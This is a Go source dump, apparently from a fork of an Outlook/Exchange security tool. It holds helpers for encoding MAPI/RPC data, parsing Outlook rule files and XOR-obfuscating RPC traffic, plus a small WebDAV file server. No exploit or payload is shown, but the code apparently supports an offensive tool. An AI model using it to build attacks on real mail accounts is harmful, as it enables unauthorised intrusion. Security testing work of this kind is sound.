| Error = log.New(errorHandle, 48 | "\033[31mERROR\033[0m: ", log.Ltime|log.Lshortfile) 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "encoding/base64" 6 | "encoding/binary" 7 | "encoding/hex" 8 | "fmt" 9 | "hash/fnv" 10 | "io/ioutil" 11 | "math/rand" 12 | "os" 13 | "reflect" 14 | "strings" 15 | "time" 16 | 17 | "gopkg.in/yaml.v2" 18 | ) 19 | 20 | var ( 21 | put32 = binary.LittleEndian.PutUint32 22 | put16 = binary.LittleEndian.PutUint16 23 | //EncBase64 wrapper for encoding to base64 24 | EncBase64 = base64.StdEncoding.EncodeToString 25 | //DecBase64 wrapper for decoding from base64 26 | DecBase64 = base64.StdEncoding.DecodeString 27 | ) 28 | 29 | //ReadFile returns the contents of a file at 'path' 30 | func ReadFile(path string) ([]byte, error) { 31 | if _, err := os.Stat(path); err != nil { 32 | return nil, err 33 | } 34 | data, err := ioutil.ReadFile(path) 35 | if err != nil { 36 | return nil, err 37 | } 38 | return data, nil 39 | } 40 | 41 | //CookieGen creates a 16byte UUID 42 | func CookieGen() []byte { 43 | rand.Seed(time.Now().UnixNano()) 44 | b := make([]byte, 16) 45 | _, err := rand.Read(b) 46 | if err != nil { 47 | fmt.Println("Error: ", err) 48 | return nil 49 | } 50 | //fmt.Printf("%X%X%X%X%X\n", b[0:4], b[4:6], b[6:8], b[8:10], b[10:]) 51 | return b 52 | } 53 | 54 | //COUNT returns the uint16 byte stream of an int. This is required for PtypBinary 55 | func COUNT(val int) []byte { 56 | return EncodeNum(uint16(val)) 57 | } 58 | 59 | //FromUnicode read unicode and convert to byte array 60 | func FromUnicode(uni []byte) string { 61 | st := "" 62 | for _, k := range uni { 63 | if k != 0x00 { 64 | st += string(k) 65 | } 66 | } 67 | return st 68 | } 69 | 70 | //UniString converts a string into a unicode string byte array 71 | func UniString(str string) []byte { 72 | bt := make([]byte, (len(str) * 2)) 73 | cnt := 0 74 | for _, v := range str { 75 | bt[cnt] = byte(v) 76 | cnt++ 77 | bt[cnt] = 0x00 78 | cnt++ 79 | } 80 | bt = append(bt, []byte{0x00, 0x00}...) 81 | return bt 82 | } 83 | 84 | //UTF16BE func to encode strings for the CRuleElement 85 | func UTF16BE(str string) []byte { 86 | bt := make([]byte, (len(str) * 2)) 87 | cnt := 0 88 | for _, v := range str { 89 | bt[cnt] = byte(v) 90 | cnt++ 91 | bt[cnt] = 0x00 92 | cnt++ 93 | } 94 | 95 | byteNum := new(bytes.Buffer) 96 | binary.Write(byteNum, binary.BigEndian, uint16(len(bt)/2)) 97 | 98 | bt = append(byteNum.Bytes(), bt...) 99 | return bt 100 | } 101 | 102 | //ToBinary takes a string and hexlyfies it 103 | func ToBinary(str string) []byte { 104 | src := []byte(str) 105 | //binary requires length 106 | dst := append(COUNT(len(src)), src...) 107 | return dst 108 | } 109 | 110 | //DecodeInt64 decode 8 byte value into int64 111 | func DecodeInt64(num []byte) int64 { 112 | var number int64 113 | bf := bytes.NewReader(num) 114 | binary.Read(bf, binary.BigEndian, &number) 115 | return number 116 | } 117 | 118 | //DecodeUint64 decode 4 byte value into uint32 119 | func DecodeUint64(num []byte) uint64 { 120 | var number uint64 121 | bf := bytes.NewReader(num) 122 | binary.Read(bf, binary.LittleEndian, &number) 123 | return number 124 | } 125 | 126 | //DecodeUint32 decode 4 byte value into uint32 127 | func DecodeUint32(num []byte) uint32 { 128 | var number uint32 129 | bf := bytes.NewReader(num) 130 | binary.Read(bf, binary.LittleEndian, &number) 131 | return number 132 | } 133 | 134 | //DecodeUint16 decode 2 byte value into uint16 135 | func DecodeUint16(num []byte) uint16 { 136 | var number uint16 137 | bf := bytes.NewReader(num) 138 | binary.Read(bf, binary.LittleEndian, &number) 139 | return number 140 | } 141 | 142 | //DecodeUint8 decode 1 byte value into uint8 143 | func DecodeUint8(num []byte) uint8 { 144 | var number uint8 145 | bf := bytes.NewReader(num) 146 | binary.Read(bf, binary.LittleEndian, &number) 147 | return number 148 | } 149 | 150 | //EncodeNum encode a number as a byte array 151 | func EncodeNum(v interface{}) []byte { 152 | byteNum := new(bytes.Buffer) 153 | binary.Write(byteNum, binary.LittleEndian, v) 154 | return byteNum.Bytes() 155 | } 156 | 157 | //EncodeNumBE encode a number in big endian as a byte array 158 | func EncodeNumBE(v interface{}) []byte { 159 | byteNum := new(bytes.Buffer) 160 | binary.Write(byteNum, binary.BigEndian, v) 161 | return byteNum.Bytes() 162 | } 163 | 164 | //BodyToBytes func 165 | func BodyToBytes(DataStruct interface{}) []byte { 166 | dumped := []byte{} 167 | v := reflect.ValueOf(DataStruct) 168 | var value []byte 169 | 170 | //check if we have a slice of structs 171 | if reflect.TypeOf(DataStruct).Kind() == reflect.Slice { 172 | for i := 0; i < v.Len(); i++ { 173 | if v.Index(i).Kind() == reflect.Uint8 || v.Index(i).Kind() == reflect.Uint16 || v.Index(i).Kind() == reflect.Uint32 || v.Index(i).Kind() == reflect.Uint64 { 174 | byteNum := new(bytes.Buffer) 175 | binary.Write(byteNum, binary.LittleEndian, v.Index(i).Interface()) 176 | dumped = append(dumped, byteNum.Bytes()...) 177 | } else { 178 | if v.Index(i).Kind() == reflect.Struct || v.Index(i).Kind() == reflect.Slice || v.Index(i).Kind() == reflect.Interface { 179 | value = BodyToBytes(v.Index(i).Interface()) 180 | } else { 181 | value = v.Index(i).Bytes() 182 | } 183 | dumped = append(dumped, value...) 184 | } 185 | } 186 | } else { 187 | for i := 0; i < v.NumField(); i++ { 188 | if v.Field(i).Kind() == reflect.Uint8 || v.Field(i).Kind() == reflect.Uint16 || v.Field(i).Kind() == reflect.Uint32 || v.Field(i).Kind() == reflect.Uint64 { 189 | byteNum := new(bytes.Buffer) 190 | binary.Write(byteNum, binary.LittleEndian, v.Field(i).Interface()) 191 | dumped = append(dumped, byteNum.Bytes()...) 192 | } else { 193 | if v.Field(i).Kind() == reflect.Struct || v.Field(i).Kind() == reflect.Slice || v.Field(i).Kind() == reflect.Interface { 194 | value = BodyToBytes(v.Field(i).Interface()) 195 | } else { 196 | fmt.Println(v.Field(i).Kind()) 197 | value = v.Field(i).Bytes() 198 | } 199 | dumped = append(dumped, value...) 200 | } 201 | } 202 | } 203 | return dumped 204 | } 205 | 206 | //ReadUint32 read 4 bytes and return as uint32 207 | func ReadUint32(pos int, buff []byte) (uint32, int) { 208 | return DecodeUint32(buff[pos : pos+4]), pos + 4 209 | } 210 | 211 | //ReadUint16 read 2 bytes and return as uint16 212 | func ReadUint16(pos int, buff []byte) (uint16, int) { 213 | return DecodeUint16(buff[pos : pos+2]), pos + 2 214 | } 215 | 216 | //ReadUint8 read 1 byte and return as uint8 217 | func ReadUint8(pos int, buff []byte) (uint8, int) { 218 | return DecodeUint8(buff[pos : pos+2]), pos + 2 219 | } 220 | 221 | //ReadBytes read and return count number o bytes 222 | func ReadBytes(pos, count int, buff []byte) ([]byte, int) { 223 | return buff[pos : pos+count], pos + count 224 | } 225 | 226 | //ReadByte read and return a single byte 227 | func ReadByte(pos int, buff []byte) (byte, int) { 228 | return buff[pos : pos+1][0], pos + 1 229 | } 230 | 231 | //ReadUnicodeString read and return a unicode string 232 | func ReadUnicodeString(pos int, buff []byte) ([]byte, int) { 233 | //stupid hack as using bufio and ReadString(byte) would terminate too early 234 | //would terminate on 0x00 instead of 0x0000 235 | index := bytes.Index(buff[pos:], []byte{0x00, 0x00}) 236 | if index == -1 { 237 | return nil, 0 238 | } 239 | str := buff[pos : pos+index] 240 | return []byte(str), pos + index + 2 241 | } 242 | 243 | //ReadUTF16BE reads the unicode string that the outlook rule file uses 244 | //this basically means there is a length byte that we need to skip over 245 | func ReadUTF16BE(pos int, buff []byte) ([]byte, int) { 246 | 247 | lenb := (buff[pos : pos+1]) 248 | k := int(lenb[0]) 249 | pos += 1 //length byte but we don't really need this 250 | var str []byte 251 | if k == 0 { 252 | str, pos = ReadUnicodeString(pos, buff) 253 | } else { 254 | str, pos = ReadBytes(pos, k*2, buff) // 255 | //pos += 2 256 | } 257 | 258 | return str, pos 259 | } 260 | 261 | //ReadASCIIString returns a string as ascii 262 | func ReadASCIIString(pos int, buff []byte) ([]byte, int) { 263 | bf := bytes.NewBuffer(buff[pos:]) 264 | str, _ := bf.ReadString(0x00) 265 | return []byte(str), pos + len(str) 266 | } 267 | 268 | //ReadTypedString reads a string as either Unicode or ASCII depending on type value 269 | func ReadTypedString(pos int, buff []byte) ([]byte, int) { 270 | var t = buff[pos] 271 | if t == 0 { //no string 272 | return []byte{}, pos + 1 273 | } 274 | if t == 1 { 275 | return []byte{}, pos + 1 276 | } 277 | if t == 3 { 278 | str, p := ReadASCIIString(pos+1, buff) 279 | return str, p 280 | } 281 | if t == 4 { 282 | str, p := ReadUnicodeString(pos+1, buff) 283 | return str, p 284 | } 285 | str, _ := ReadBytes(pos+1, 4, buff) 286 | return str, pos + len(str) 287 | } 288 | 289 | //Hash Calculate a 32byte hash 290 | func Hash(s string) uint32 { 291 | h := fnv.New32() 292 | h.Write([]byte(s)) 293 | return h.Sum32() 294 | } 295 | 296 | //Obfuscate traffic using XOR and the magic byte as specified in RPC docs 297 | func Obfuscate(data []byte) []byte { 298 | bnew := make([]byte, len(data)) 299 | for k := range data { 300 | bnew[k] = data[k] ^ 0xA5 301 | } 302 | return bnew 303 | } 304 | 305 | //GenerateString creates a random string of lenght pcount 306 | func GenerateString(pcount int) string { 307 | var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") 308 | 309 | rand.Seed(time.Now().UTC().UnixNano()) 310 | 311 | b := make([]rune, pcount) 312 | for i := range b { 313 | b[i] = letterRunes[rand.Intn(len(letterRunes))] 314 | } 315 | return string(b) 316 | } 317 | 318 | //ReadYml reads the supplied config file, Unmarshals the data into the global config struct. 319 | func ReadYml(yml string) (YamlConfig, error) { 320 | var config YamlConfig 321 | data, err := ioutil.ReadFile(yml) 322 | if err != nil { 323 | return YamlConfig{}, err 324 | } 325 | err = yaml.Unmarshal(data, &config) 326 | if err != nil { 327 | return YamlConfig{}, err 328 | } 329 | return config, err 330 | } 331 | 332 | //GUIDToByteArray mimics Guid.ToByteArray Method () from .NET 333 | // The example displays the following output: 334 | // Guid: 35918bc9-196d-40ea-9779-889d79b753f0 335 | // C9 8B 91 35 6D 19 EA 40 97 79 88 9D 79 B7 53 F0 336 | func GUIDToByteArray(guid string) (array []byte, err error) { 337 | //get rid of {} if passed in 338 | guid = strings.Replace(guid, "{", "", 1) 339 | guid = strings.Replace(guid, "}", "", 1) 340 | 341 | sp := strings.Split(guid, "-") //chunk 342 | //we should have 5 chunks 343 | if len(sp) != 5 { 344 | return nil, fmt.Errorf("Invalid GUID") 345 | } 346 | //add first 4 chunks to array in reverse order 347 | for i := 0; i < 4; i++ { 348 | chunk, e := hex.DecodeString(sp[i]) 349 | if e != nil { 350 | return nil, e 351 | } 352 | for k := len(chunk) - 1; k >= 0; k-- { 353 | array = append(array, chunk[k]) 354 | } 355 | } 356 | chunk, e := hex.DecodeString(sp[4]) 357 | if e != nil { 358 | return nil, e 359 | } 360 | array = append(array, chunk...) 361 | return array, nil 362 | } 363 | -------------------------------------------------------------------------------- /webdav/webdav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/webdav/webdav -------------------------------------------------------------------------------- /webdav/webdavserv.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | "os" 9 | 10 | "golang.org/x/net/webdav" 11 | ) 12 | 13 | var dir string 14 | 15 | func main() { 16 | 17 | dirFlag := flag.String("d", "./", "Directory to serve from. Default is CWD") 18 | httpPort := flag.Int("p", 80, "Port to serve on (Plain HTTP)") 19 | httpsPort := flag.Int("ps", 443, "Port to serve TLS on") 20 | serveSecure := flag.Bool("s", false, "Serve HTTPS. Default false") 21 | 22 | flag.Parse() 23 | 24 | dir = *dirFlag 25 | 26 | srv := &webdav.Handler{ 27 | FileSystem: webdav.Dir(dir), 28 | LockSystem: webdav.NewMemLS(), 29 | Logger: func(r *http.Request, err error) { 30 | if err != nil { 31 | log.Printf("WEBDAV [%s][%s]: %s, ERROR: %s\n", r.RemoteAddr, r.Method, r.URL, err) 32 | } else { 33 | log.Printf("WEBDAV [%s][%s]: %s \n", r.RemoteAddr, r.Method, r.URL) 34 | } 35 | }, 36 | } 37 | 38 | http.Handle("/", srv) 39 | 40 | if *serveSecure == true { 41 | if _, err := os.Stat("./cert.pem"); err != nil { 42 | fmt.Println("[x] No cert.pem in current directory. Please provide a valid cert") 43 | return 44 | } 45 | if _, er := os.Stat("./key.pem"); er != nil { 46 | fmt.Println("[x] No key.pem in current directory. Please provide a valid cert") 47 | return 48 | } 49 | 50 | go http.ListenAndServeTLS(fmt.Sprintf(":%d", *httpsPort), "cert.pem", "key.pem", nil) 51 | } 52 | if err := http.ListenAndServe(fmt.Sprintf(":%d", *httpPort), nil); err != nil { 53 | log.Fatalf("Error with WebDAV server: %v", err) 54 | } 55 | 56 | } 57 | --------------------------------------------------------------------------------